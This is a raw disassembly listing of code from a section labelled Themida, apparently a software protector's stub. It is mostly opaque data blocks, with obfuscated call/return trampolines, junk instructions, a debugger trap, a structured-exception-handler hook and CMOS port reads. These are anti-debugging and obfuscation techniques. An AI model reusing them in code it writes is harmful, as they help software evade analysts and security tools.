--------------------------------------------------------------------------- icebp xor ebp, [eax+5BD8B06h] pop es test al, 6 push 0FFFFFFFFh sub [ebp+6A833C9h], ebx push dword ptr [ebp+6A814A1h] mov bl, 8Eh call dword ptr [ebp+6A82A7Dh] jmp loc_590DB8 ; --------------------------------------------------------------------------- db 8Bh, 0BDh, 79h dd 0B006A82Dh, 70E6F900h, 0CE9h, 0F8078800h, 6EC51083h dd 98D91AF3h, 6800F6Eh, 8B000000h, 0A80C25BDh, 8171E406h dd 0F84471E7h, 0F613C16h, 10B83h, 6921BB00h, 0B60F5DD1h dd 1D9D8BC8h, 0BA06A802h, 6, 2DE5BD29h, 0C18B06A8h, 0C1FE8B66h dd 0BD2B04E8h, 6A802C9h, 1BA9B589h, 0F76606A8h, 29BD29E2h dd 2B06A826h, 6850FC8h, 81000000h, 0F04442DBh, 0F8D18B4Fh dd 13E956h, 6BB20000h, 0AFE01D05h, 261C9981h, 0CD3E3598h dd 0CC1014AFh, 9E95B6Bh, 80000000h, 9D89F7DBh, 6A81779h dd 21858Bh, 0DF8106A8h, 15C51880h, 8907C083h, 0A81E819Dh dd 0C08306h, 9843D381h, 0D03B482Ch, 12830Fh, 0BD2B0000h dd 6A833C1h, 6BE9h, 8589F900h, 6A81F1Dh, 324D8D8Bh, 8B6606A8h dd 1E183FEh, 52840Fh, 0F600000h, 68Eh, 8D8D8B00h, 0E906A80Ch dd 9, 5C8A69A8h, 0CD60B411h, 0A58361B1h, 6A8324Dh, 0E9CBBFFEh dd 95897804h, 6A80021h, 11E8h, 8035D200h, 16D6C6B0h, 96C2F928h dd 0C50F8F42h, 8531CF83h, 6A800DDh, 0E9DF8B5Bh, 0 ; --------------------------------------------------------------------------- loc_590DB8: ; CODE XREF: Themida_:00590C70j lea esi, [ebp+6ABE705h] push 0 push edx call sub_590DC9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590DC9 proc near ; CODE XREF: Themida_:00590DC1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_590DC9 endp ; --------------------------------------------------------------------------- imul ebp, [ebx], 97CCDC2Dh push esp mov bl, 23h clc add [ebp+6A80B39h], ebx push 0 mov bx, cx call dword ptr [ebp+6A81B31h] mov ecx, 799h sub edi, 27129C30h mov [ebp+6A834A5h], ebx and ecx, 0FFFFFFFCh push 0 push esi call sub_590E13 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590E13 proc near ; CODE XREF: Themida_:00590E0Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_590E13 endp ; --------------------------------------------------------------------------- db 0DEh ; --------------------------------------------------------------------------- ja loc_590E30 mov [ebp+6A816ADh], esi loc_590E30: ; CODE XREF: Themida_:00590E24j cld mov [ebp+6A82C71h], edi sub eax, eax push 0 push ebx call sub_590E44 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590E44 proc near ; CODE XREF: Themida_:00590E3Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_590E44 endp ; --------------------------------------------------------------------------- dd 0C3A37636h, 0CE8h, 9674C700h, 2DDEE3FCh, 0AFBDBC51h dd 11E984h, 45600000h, 90A78ECCh, 87386E48h, 0A7FF3D96h dd 5B0DFDCBh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0FBAF7AC3h, 0B2687808h, 33ADF415h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0CFFDEDC3h, 6AFE8B66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E9BFC356h, 0B6BBF471h, 880Dh, 7CBF6600h dd 0B9958BC8h, 6A06A805h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 89C1C350h, 0A80AC185h dd 698D8B06h, 6A06A814h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0E5F0C355h, 0EF71325Ah dd 0E98B8321h, 14h, 0CF081855h, 5C6FEDEAh, 18647844h, 81C409E1h dd 0FE3BFBA0h, 1258D89h, 8B5006A8h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0FFC35343h, 1D330446h, 0C91BD83h, 0F0006A8h dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0F4E4E3Ah, 389h, 0F9B70F00h, 5E8h dd 4E7E9C00h, 8166644Ah, 5BC5E7CFh, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8CD8AFC1h, 8DD9B70Fh, 0A84FAF8Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0E1FF3FFEh dd 2C99BD8Bh, 0BD8306A8h, 6A80BBDh, 0F3840F00h, 89000004h dd 0A82C519Dh, 0A7BB6606h, 0BDBD8343h, 106A80Bh, 4F7840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 7E39C6C3h, 6DB589C1h, 0E906A81Bh, 0Dh, 0E3BE3229h dd 1071CDA0h, 6DCC12E3h, 0BDBD8380h, 306A80Bh, 47D860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0A26631C3h, 6646C19Ah, 9277779h, 0A82E7D9Dh dd 299D8B06h, 6006A831h, 66FFB70Fh, 8C66DF8Bh, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 9E9CFh, 0B8CB0000h, 0FE144D2Ch, 8033C244h, 0C90A04E1h dd 1A5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 810FD4C3h, 5, 2B4379BFh, 0E1858B4Eh dd 6A06A80Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 7A98C352h, 0DE9677Bh, 52000000h dd 2EA6FC2Bh, 8B919F6h, 459E10D6h, 1D5D8533h, 6A06A8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 50B4C1C3h, 6880Fh, 8D890000h, 6A81001h, 11E96050h, 0B5000000h dd 5F8F12ECh, 59E83CC7h, 3BEBC2CCh, 0B598A60Eh, 830F60h dd 51000000h, 8961615Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 5C4BC3h, 18F744Eh, 0F381662Fh dd 0BD8B9ADAh, 6A81FEDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 1DE0BBC3h, 62F880ADh dd 0EF427868h, 0F9BF66BCh, 24048125h, 432FC187h, 0DD9D8Bh dd 95FF06A8h, 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 77C35242h, 932ECDB7h, 0B557BBF1h, 8589552Ch dd 6ABA227h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 2C35242h, 48D0F51h, 66000000h, 89552FBBh, 0A82E8D8Dh dd 1F9E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 3B8C8C3h, 0F3106163h, 8BDCF414h dd 0ABA21F85h, 0CE906h, 88660000h, 6B50588Ch, 0E03C7FE3h dd 0C73D94h, 18h, 2D819D8Bh, 7E806A8h, 92000000h, 46F76BB4h dd 0F380C1CCh, 0B58B5FF9h, 6ABA223h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 8DC35141h, 0B796B140h, 711681A2h dd 2B7D858Bh, 0DF8106A8h, 3AFC9241h, 0AE80689h, 92000000h dd 0AB3D2A4Dh, 56CA8A47h, 13E993h, 30000000h, 76D30D94h dd 0CB102966h, 0F0CDB944h, 0A73728F4h, 8E85BF3h, 5F000000h dd 0C3AAAA7Bh, 81133EA3h, 23C16EE7h, 858B5B37h, 6A80BE1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 64C35747h dd 89A4E8C1h, 0B5310446h, 6A80589h, 0D88B6696h, 96FE8B50h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h dd 7216D044h, 538E009Ch, 0AE951B8h, 84000000h, 3D1C7EFAh dd 4FE666BDh, 8E85FCAh, 2B000000h, 0E03B352Fh, 35D7E9Dh dd 0A8263DBDh, 0B5FF5B06h, 6ABA21Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0BFC35747h, 8FD489FFh, 0F068461h dd 5168F9BFh, 664D0808h, 81CF13BBh, 0BAE2434h, 880F4D17h dd 6, 0ADD8589h, 858D06A8h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0D8C35747h, 0E0E4DE88h, 9E9ECh dd 0ED470000h, 1345414Ah, 90F6EE80h, 10E850h, 53E50000h dd 9C9847D9h, 3031826h, 54B0DEFCh, 0F51CDAAh, 83h, 905F5B00h dd 0F7CB8166h, 4195FFD0h, 6606A807h, 61D496BBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D9C35646h, 816637FEh dd 0C7BCA6DFh, 0A80BBD85h, 306h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3EB7D256h dd 5B9AFC5Fh, 11E96B0Bh, 7F000000h, 920A2C9Fh, 2BF8DFFCh dd 0C0B794E2h, 44B7788Dh, 0A227BD83h, 0F0006ABh, 1E84h dd 0F1BD8B00h, 0E906A824h, 2Eh, 0D8B0Fh, 8E90000h, 6D000000h dd 0A7212B4Dh, 50D76D4Dh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 639528C3h, 8D313F53h dd 6A80645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2BC35040h, 899F7C93h, 0A8093D9Dh, 35B5306h, 0A81B45BDh dd 0BDBD8306h, 306A80Bh, 3ED850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 5756A5C3h dd 0E85B5BF9h, 0Fh, 0C3DEA1AEh, 702A0EF7h, 2CF7A1B9h, 8949C922h dd 0A810118Dh, 0BD835B06h, 6ABA227h, 0A4840F00h, 6A000003h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 89ECC357h, 8BE37E4Bh, 0A821D59Dh, 27B5FF06h dd 6006ABA2h, 34A5BD89h, 0B96606A8h, 0FF61E5D0h, 0A815F995h dd 830F6006h, 6, 0A273C181h, 0B58B10BEh, 6A83181h, 1BB58B61h dd 0F906ABA2h, 98B0Fh, 66600000h, 9334D381h, 0C7616160h dd 1000106h, 5099B700h, 80BF6657h, 34895FF0h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 318531C8h, 0FF06A826h, 0ABA227B5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8152ECF5h, 8D74D8CBh, 9995FF6Ch, 6606A821h, 8B874DBFh dd 0ABA21BB5h, 0B1BD8B06h, 8B06A807h, 0A80E4185h, 0A1B58906h dd 8906A825h, 0C486h, 0F99D8900h, 8B06A82Dh, 0A805B995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 8806A096h, 0B3DFBD2Ch, 0C283F95Ch, 4020BB04h dd 50890FC2h, 0F5BD8920h, 8D06A819h, 0ABB7CE85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0C25AD506h, 8DE84F9h, 0CF81E445h, 21386902h, 0B88689h dd 8B660000h, 13E9DFh, 13220000h, 2C0B5EF7h, 555B6CD6h dd 24C7178Ch, 0C833C131h, 6A006A4Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 3875C351h dd 2CDF90F4h, 0BD8B0A4Ah, 6A82CE9h, 0A227B5FFh, 95FF06ABh dd 6A81E1Dh, 0C3816650h, 505F2A34h, 310F5250h, 5AFA8B66h dd 24348958h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 2FC35141h, 0AF4E5D58h, 16577D4Fh, 0B52C381h, 0B5FF2B73h dd 6ABA227h, 95FFEFB7h, 6A82A69h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 97C35545h, 0B9CC1ED7h, 3BAEA485h dd 9E863h, 0C6E40000h, 7DD0B112h, 8A43E6E2h, 0BD835FDEh dd 6A82E3Dh, 51840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E9B6C355h dd 0A5E073CAh, 8B5057A2h, 243489D9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0E0C35242h, 0EFC72824h, 8D897BA7h dd 6A8297Dh, 0A227B5FFh, 6A06ABh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0FFF599C3h, 0A8318595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 139BC6Dh, 0A8156595h, 27B5FF06h, 0F506ABA2h dd 0F5595FFh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0F96DA7C3h, 81344C1Dh, 0DF02DFD7h dd 7DBD8370h, 206A807h, 6D840Fh, 830F0000h, 0Bh, 0FBB70F60h dd 10E99D29h, 606106A8h, 8B61FAB2h, 0A80D1985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0B99E9C70h, 27491B97h, 68D0Fh, 0B5290000h, 6A8097Dh dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 9A99C357h, 0C7DF8B66h, 0A80DC185h dd 6, 6D858900h, 0E906A802h, 0FFFFF29Ah, 0C0D8529h, 0E86006A8h dd 0Ch, 1CA08C70h, 0A9B294BFh, 467967B5h, 9119501h, 665F06A8h dd 61F151BBh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0F7E3A3C3h, 3AAEF52Eh, 1AC5BD8Bh dd 0EE906A8h, 17000000h, 69D26Ah, 2 dup(0) dd 592E900h, 43E60000h, 7E13BC0Ah, 2444EF3Bh, 0D876D96Dh dd 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h, 40C68FADh dd 0B1F5BCDFh, 95953735h, 6FB60457h, 5CFF0229h, 76178815h dd 0E6DF92B3h, 0CB30BAA0h, 91498B3Fh, 0BCDF40E8h, 54F7A8F5h dd 6606E91Dh, 0FA9822Fh, 2B6E039Ch, 0F5BE2F86h, 0BFFB0DABh dd 85AF585Bh, 82A10EAAh, 0B0D47FCBh, 6202ADF9h, 7758862Bh dd 7109DD4h, 216C0E91h, 0CF507DFCh, 59EDA4C8h, 0E81E57F6h dd 5C003842h, 69C2AF58h, 9B9A5CCFh, 0E1AF585Ch, 3D29298Ah dd 0D812DF53h, 5Ch, 155CFF63h, 7C185288h, 0B9F09361h, 0F6AB2374h dd 0D5138543h, 0AF58A8D3h, 0BFE0C339h, 3C7CADF2h, 0E0DCDE47h dd 2F12DF04h, 42EFA2C4h, 10DCF69h, 16000000h, 733A59BAh dd 90D57A25h, 0B8FD9213h, 4984AA7Bh, 0ED3E632Ah, 57C4AFF4h dd 0EFAAC7CEh, 9455F85Bh, 2C4EBFF2h, 15328861h, 0F7135EFFh dd 0F2266B0Ch, 0A6E39011h, 941DB679h, 65A1EC8Dh, 4DD29BBAh dd 0E6886B91h, 0ED1506ABh, 0AF57D6ADh, 2B4BBC97h, 0CB6D3266h dd 0E3841D82h, 95C901AEh, 0D3B8C53Fh, 0D48E647h, 87596A0h dd 0CCEC2DE5h, 0C847E845h, 7D11F268h, 0A9C9A9D9h, 0E6DF0140h dd 0BA60B9h, 0AF57EC08h, 6CC751FAh, 0C12BB7C3h, 0A25212DFh dd 0F5000000h, 0FB9B5EFFh, 0CE531A3Eh, 6EBFE4DDh, 0CF6E5175h dd 4D266F0Eh, 8261B7E0h, 49830721h, 0BDFED580h, 76B25C25h dd 4CAF58C8h, 0A982C76Bh, 2B8073B0h, 62E2838Ah, 7ACE181h dd 0C7ACEC16h, 0BD96AF58h, 0BCDD46C4h, 5FF3ACF1h, 660C951Ah dd 325FE23h, 0F229E54Ah, 0DDDD6F31h, 0A7AF58C7h, 0A60D938Ch dd 25F1FDFDh, 591412DFh, 2F000000h, 0F7135EFFh, 8AAA670Ch dd 544D5EC3h, 9EBE67C4h, 0CC364AD7h, 0D72464A6h, 351EAF57h dd 0A0A708E3h, 51143AFFh, 7F3253CCh, 0F600F932h, 0D176EB08h dd 33776088h, 3559BA14h, 0DA773870h, 0EBD4129Fh, 8B9C0148h dd 0D6DCDB2Dh, 492EAF57h, 0D6FEEAE8h, 11912DFh, 22000000h dd 0E06F30BAh, 9B01FCEFh, 0BFF6921Dh, 0DB92B172h, 0EBAEC42Fh dd 0B21BDE4Dh, 74EEAF1h, 2F943883h, 3D8071FBh, 0BC0DE2FEh dd 57E00E0Ah, 625BF4AFh, 3F9A2C36h, 5B5FFEDh, 791C852Ah dd 0ED4F4BFDh, 1A35B5FFh, 791A8521h, 0ED4B4FF9h, 1E39B5FFh dd 9AFF825h, 347D2083h, 0ED296FEFh, 0DE7AB5FFh, 0F8990A97h dd 535868B5h, 0A60D43D2h, 1E57F6FDh, 9AA26EE8h, 0ACEB0DD0h dd 7E1D860Ch, 1A39EA37h, 8C3EB6DBh, 0B600028Ch, 0BFE4DD76h dd 0A40944E6h, 7CA19A73h, 888F10BDh, 0BE1EACE5h, 1477FDC2h dd 65A5E70Dh, 57B6000Eh, 0D6423514h, 0CA6565C3h, 174AC6Eh dd 4DB60000h, 0EC37612Ch, 0D80EB5E7h, 0D71008B2h, 94F2AF57h dd 57D73672h, 4A230CAFh, 7FC204EEh, 45B60006h, 918AC362h dd 0A1E48A75h, 680B9477h, 0FD7FE521h, 0EB55D025h, 2D6002C7h dd 7ABE9780h, 2BDF96B5h, 253F7B8Dh, 2A05B600h, 254E4AFCh dd 1B34B600h, 0D6752E9Dh, 0BBCD6B9Fh, 0B600257Fh, 24E32761h dd 76A1B600h, 0EE5DDB74h, 1A21822Bh, 6E94327Bh, 24DCDCh dd 2B8DA6B6h, 9819F5A1h, 6DFC1477h, 86000000h, 0EA377E1Dh dd 0E73C67B1h, 0ADDF0BB6h, 2F57D74Dh, 0C683B013h, 670BAC52h dd 0B3ACFD22h, 85BFC517h, 97A108BFh, 3244A201h, 844A320Ch dd 0B0F99B98h, 0D7413A73h, 58551911h, 7F209F2Fh, 2D95CF60h dd 61262D50h, 9194E154h, 78517EC2h, 342D6407h, 6F147496h dd 88EEAF58h, 586F3A7Eh, 362F08AFh, 886FF0h, 288B0000h dd 0C6ED4B06h, 3A0D30BAh, 165EFF4Dh, 0D3453E77h, 0AF5BE054h dd 0B3FA9E01h, 6DFB3D6Eh, 0B600C192h, 0B8F00A70h, 8AB600C0h dd 0FF6BC8A1h, 57F3277Dh, 81179288h, 0F0367F1Eh, 38652C4Fh dd 5BF53Eh, 0C96A41B6h, 5CEAA3C2h, 0D4F249EBh, 6F2645AEh dd 0D778E9C2h, 0D2C81E9Ah, 0B0BCACDBh, 0EA891A87h, 0AFD907A3h dd 0BCACDC6Bh, 0C9BAFE59h, 52F3DC06h, 8122991Fh, 5D893262h dd 0E3A6CC37h, 5C79B3B5h, 0E04BC359h, 0B5E77D5Ah, 6CAED80Eh dd 56B60457h, 4CEFB0FDh, 785B8105h, 5169BD6h, 20690C93h dd 47067B83h, 0F19D2583h, 96B66FB4h, 0B53E52DFh, 5DCE6DECh dd 0E7AECDD4h, 145D00A3h, 3D78168Fh, 0DB4471F0h, 0C2F8B1D4h dd 0AA0E47E1h, 95DC7F20h, 0DA46E771h, 0C0AC3134h, 80AFB68h dd 2D000000h, 84A90AB0h, 0FF4C57C1h, 138C1158h, 2BF43970h dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h dd 0BF60CD84h, 0FA4AD792h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx mov eax, 0F0B1009h push ebp mov ebp, 70F842A3h sub ebp, 33B409DEh not ebp shr ebp, 3 xor ebp, 4991541Eh add eax, ebp pop ebp shl eax, 6 xor eax, 32E3C099h push 706h mov [esp], esp add dword ptr [esp], 4 pop edx push eax add dword ptr [esp], 3FBA342Ah pop dword ptr [edx+8] push ebp mov ebp, 3FBA342Ah sub [edx+8], ebp pop ebp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5517CE ; --------------------------------------------------------------------------- dw 3FD7h dd 22E4506Bh, 0ADE0EB51h, 0AC84F7B8h, 0FFC50306h, 0C2984AE0h dd 0E3A07749h, 0F580BE63h, 1EDD6E4Eh, 7B559627h, 0C9FDC639h dd 93A76C16h, 0A4D62B68h, 421CC657h, 79A46F2Eh, 85858D0Fh dd 6A06A833h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 4A48C350h, 8B6650DEh, 240489FBh dd 9963BF66h, 0FE9006Ah, 82000000h, 6DD22492h, 3D0EE036h dd 7F9AE827h, 6A016Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0D5C35141h, 7E2E3EA4h, 87B1858Dh, 0F78106ACh dd 20CF566h, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 90BCC356h, 0D98B6677h dd 52506090h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah dd 0F525053h, 5B585A31h, 0FE85061h, 8E000000h, 0CE921CC5h dd 0D8409E25h, 8FF3D9D7h, 53BF7596h, 5B654F17h, 35BD8B90h dd 6A06A82Eh, 0EB816600h, 6AE492h, 1BA1BD89h, 95FF06A8h dd 6A82541h, 6E08BF66h, 8C7F8D8Dh, 6A06ABh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0AD14EAC3h dd 58619B11h, 0CE9F40Fh, 22000000h, 4D363072h, 8B01D306h dd 60C3F75Eh, 66FABF0Fh, 0A1CCF781h, 81D1FF61h, 0E0DDBEC3h dd 9DBD834Dh, 106A833h, 8C850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0A7D144C3h dd 0F92AD8BDh, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0A81467C3h, 0E9A8D780h, 0Bh, 31F21421h dd 9A29E047h, 50C95086h, 89DF8B66h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5AE759C3h dd 5D8501BCh, 0FF06A830h, 0A81E1D95h, 0C7816606h, 9E99904h dd 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6AC87BBh push 0 push ebx call sub_5921DA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5921DA proc near ; CODE XREF: Themida_:005921D2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5921DA endp ; --------------------------------------------------------------------------- or al, 51h lodsd int 3 ; Trap to Debugger idiv byte ptr [edi] mov al, 8Fh or eax, 0D88B66ACh jmp loc_592205 ; --------------------------------------------------------------------------- adc ah, bh push ebp pop es mov edi, 0BBF471E9h loc_592205: ; CODE XREF: Themida_:005921F7j lea eax, [ebp+6AB7E2Eh] push esi or bh, 58h pop ebx nop jmp loc_59221B ; --------------------------------------------------------------------------- dec ebp rol byte ptr [ebx+0], 6Fh loc_59221B: ; CODE XREF: Themida_:00592211j push eax jmp loc_59222B ; --------------------------------------------------------------------------- add ds:6D439BCBh, eax jge short locret_592266 adc al, 0EEh loc_59222B: ; CODE XREF: Themida_:0059221Cj nop pusha mov [ebp+6A829BDh], edi jz near ptr loc_592240+4 call near ptr loc_592240+3 mov ah, 0E1h loc_592240: ; CODE XREF: Themida_:00592239p ; Themida_:00592233j or eax, 6158015Eh push large dword ptr fs:0 push 0 push edx call sub_592257 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592257 proc near ; CODE XREF: Themida_:0059224Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx locret_592266: ; CODE XREF: Themida_:00592227j retn sub_592257 endp ; --------------------------------------------------------------------------- mov cl, 0FAh sbb [eax-75h], edx popf and eax, 5F06A801h adc bh, 7Fh mov large fs:0, esp push 0 push esi call sub_592287 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592287 proc near ; CODE XREF: Themida_:0059227Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_592287 endp ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- fdivr qword ptr [ecx-2704200Bh] or [ecx-57E08E73h], cl push es inc dword ptr [ebp+6A833F1h] push 0 push ecx call sub_5922B6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5922B6 proc near ; CODE XREF: Themida_:005922AEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5922B6 endp ; --------------------------------------------------------------------------- dec eax dec ebp pop eax imul ebp, [ebx+6A152925h], -1 push 0 push ebp call sub_5922DB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5922DB proc near ; CODE XREF: Themida_:005922D3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5922DB endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- mov edi, edx push dword ptr [ebp+6A81535h] push 0 push eax call sub_5922FF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5922FF proc near ; CODE XREF: Themida_:005922F7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5922FF endp ; --------------------------------------------------------------------------- imul edx, [ebx+647E7BCh], 75h movzx edi, si mov [ebp+6A80FF1h], ecx call dword ptr [ebp+6A82A7Dh] jmp loc_592421 ; --------------------------------------------------------------------------- sub [ebp+6A800B1h], edx mov al, 0 jmp loc_592340 ; --------------------------------------------------------------------------- db 0Ch dd 0FE015C1Ah, 95F33FAFh ; --------------------------------------------------------------------------- loc_592340: ; CODE XREF: Themida_:00592332j out 70h, al ; CMOS Memory: ; used by real-time clock cld in al, 71h ; CMOS Memory clc mov bh, 0B7h cmp al, 61h jnb loc_592421 mov [ebp+6A83191h], ecx mov edi, [ebp+6A82FB1h] movzx ecx, al mov di, cx mov edx, 6 mov ebx, [ebp+6A829B1h] mov eax, ecx mov [ebp+6A81D85h], edi shr eax, 4 mov [ebp+6A824E5h], edx mul dx sub ecx, eax mov [ebp+6A80E09h], esi mov edx, ecx sub [ebp+6A815DDh], esi jmp loc_59239C ; --------------------------------------------------------------------------- mov [ebp+6A808E5h], edi loc_59239C: ; CODE XREF: Themida_:00592391j mov eax, [ebp+6A82F45h] jmp loc_5923AE ; --------------------------------------------------------------------------- push eax lds ebp, [esi+62D77B8Ah] loc_5923AE: ; CODE XREF: Themida_:005923A2j add eax, 7 jmp loc_5923CA ; --------------------------------------------------------------------------- dw 0D6E1h dd 8E72E8CFh, 0EE59DA6Dh, 0B77CEBEDh, 0B8D00638h db 7Bh, 2Dh ; --------------------------------------------------------------------------- loc_5923CA: ; CODE XREF: Themida_:005923B1j add eax, 0 mov [ebp+6A81F05h], eax cmp edx, eax jnb loc_5923EE push esi xor [ebp+6A80FEDh], eax pop edi jmp loc_592421 ; --------------------------------------------------------------------------- mov edi, [ebp+6A816F1h] loc_5923EE: ; CODE XREF: Themida_:005923D5j mov ecx, [ebp+6A8259Dh] mov [ebp+6A81675h], edi and ecx, 1 jz loc_592421 add [ebp+6A82B85h], esi and dword ptr [ebp+6A8259Dh], 0FFFFFFFEh mov [ebp+6A82F45h], edx mov [ebp+6A81EBDh], ebx jmp $+5 loc_592421: ; CODE XREF: Themida_:00592325j ; Themida_:0059234Aj ... lea esi, [ebp+6ABF073h] push 0 push esi call sub_592432 and 